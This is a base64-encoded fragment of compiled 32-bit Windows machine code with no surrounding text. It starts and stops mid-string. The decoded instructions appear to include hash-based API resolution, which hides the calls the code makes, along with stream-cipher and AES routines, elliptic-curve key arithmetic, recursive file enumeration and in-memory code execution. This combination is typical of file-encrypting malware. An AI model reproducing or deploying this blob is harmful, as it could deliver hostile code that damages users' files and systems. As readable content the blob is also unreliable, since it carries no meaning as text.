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/HRdAgAAAAiV3UjY3Y/P//igOLXdyIRf/HRdgIAAAAwOgHD7bAmYvyi/hWV1FT6LoYAABWV/917P919OitGAAA/3UU/3Xs/3Xk/3X0U/914P918P916P91+OiLCgAAg8REVlf/dfD/dfjofxgAAFaLdeBXi33oVlfocBgAAItN8IvDi134g8QgiUX4i9eLRfSJReiLReSJRfCLReyJReCKRf8CwIlV9INt2AGJTeSJdeyIRf8PhWX///+JXdyLXdRLg23QAYld1A+FQv///4t13It9CGoUWfOli30Mi/JqFFnzpV9eW4vlXcNVi+yB7JABAACNhRD///9WV/91DFDoCRQAAI2FEP///1CNhWD///9Q6PYTAACNhWD///9QjUWwUOjmEwAA/3UMjUWwUI2FwP7//1Do9QsAAI2FEP///1CNhcD+//9QjYVw/v//UOjbCwAAjYVw/v//UI1FsFDoqRMAAI2FwP7//1CNRbBQjYUQ////UOi0CwAAg8REjYUQ////UI1FsFDofxMAAI1FsFCNhWD///9Q6G8TAACNhWD///9QjUWwUOhfEwAAjUWwUI2FYP///1DoTxMAAI2FYP///1CNRbBQ6D8TAACNhRD///9QjUWwUI2FwP7//1DoSgsAAI2FwP7//1CNRbBQ6BgTAACNRbBQjYVg////UOgIEwAAg8REagRfi/eNhWD///9QjUWwUOjwEgAAjUWwUI2FYP///1Do4BIAAIPEEIPuAXXYjYXA/v//UI2FYP///1CNhRD///9Q6OAKAACNhRD///9QjUWwUOiuEgAAjUWwUI2FYP///1DonhIAAIPEHGoJXo2FYP///1CNRbBQ6IgSAACNRbBQjYVg////UOh4EgAAg8QQg+4BddiNhRD///9QjYVg////UI1FsFDoewoAAI1FsFCNhWD///9Q6EkSAACNhWD///9QjUWwUOg5EgAAg8QcjUWwUI2FYP///1DoJhIAAI2FYP///1CNRbBQ6BYSAACDxBCD7wF12I2FwP7//1CNRbBQjYUQ////UOgZCgAAjYUQ////UI1FsFDo5xEAAI1FsFCNhWD///9Q6NcRAACDxBxqGF6L/o2FYP///1CNRbBQ6L8RAACNRbBQjYVg////UOivEQAAg8QQg+8BddiNhRD///9QjYVg////UI2FwP7//1DorwkAAI2FwP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